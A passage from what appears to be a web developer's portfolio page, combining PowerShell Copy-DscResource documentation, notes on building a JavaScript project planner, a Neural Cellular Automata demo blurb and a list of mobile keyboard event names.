| Path | String | The path to the DSC resource to copy. If a directory is given, all files in that directory are copied. Wildcards supported. |
true | false | |
| Destination | String | The directory where the resources should be copied. |
true | false | |
| Recurse | SwitchParameter | Recursively copy files from the source directory. |
false | false | False |
| PassThru | SwitchParameter | Returns |
false | false | False |
| Force | SwitchParameter | Copy resources, even if they are the same on the destination server. |
false | false | False |
Copy-DscResource -Path 'localhost.mof' -Destination '\\dscserver\DscResources'
Demonstrates how to copy a single resource to a resources SMB share. localhost.mof
will only be copied if its checksum is different than what is in \\dscserver\DscResources
.
Copy-DscResource -Path 'C:\Projects\DscResources' -Destination '\\dscserver\DscResources'
Demonstrates how to copy a directory of resources. Only files in the directory are copied. Every file in the source must have a .checksum
file. Only files whose checksums are different between source and destination will be copied.
Copy-DscResource -Path 'C:\Projects\DscResources' -Destination '\\dscserver\DscResources' -Recurse
Demonstrates how to recursively copy files.
Copy-DscResource -Path 'C:\Projects\DscResources' -Destination '\\dscserver\DscResources' -Force
Demonstrates how to copy all files, even if their .checksum
files are the same.
Copy-DscResource -Path 'C:\Projects\DscResources' -Destination '\\dscserver\DscResources' -PassThru
Demonstrates how to get System.IO.FileInfo
objects for all resources copied to the destination. If all files are up-to-date, nothing is copied, and no objects are returned.


Developing a Project Planner in CSS, HTML and JavaScript
So have working the ability to list our current months and display for 12 months into the future. Issues with adding additional children to parent class is the parent overwrites the childrens' text, solved the months problem by taking out the parent div and placing in main body text anything not related to displaying the Months. So going to try to change this first by using select for the class Month rather than div. Other way which needs deeper understanding of the DOM is to use append child and using nodes. Next Step once have the text associated with each month are following features:
- Name the project
- Select the project length i.e. by days, by weeks, by months
- Save project data - local storage first - look at extending to actual SQL database but not necessary yet
- want to be able to click on milestones and move around - drag and drop
- ability to change the colour scheme - lets understand colour groups and how to switch that in and out


is a Self-Organising System of cells, that was trained to build textures using neighbour communication only. This work exposes the relation between the life of an individual cell, and the cell collective as a whole.
The system is based on Neural Cellular Automata.
Touch to interact, swipe ⇦ or ⇨ to change the pattern. Swipe ⇧ to share the pattern with others!


KeyboardDidShow
KeyboardDidHide
KeyboardWillShow
KeyboardWillHide
Keyboard Show
Keyboard Hide
Keyboard Hide accessory bar


Phillip Barnett: Web Developer
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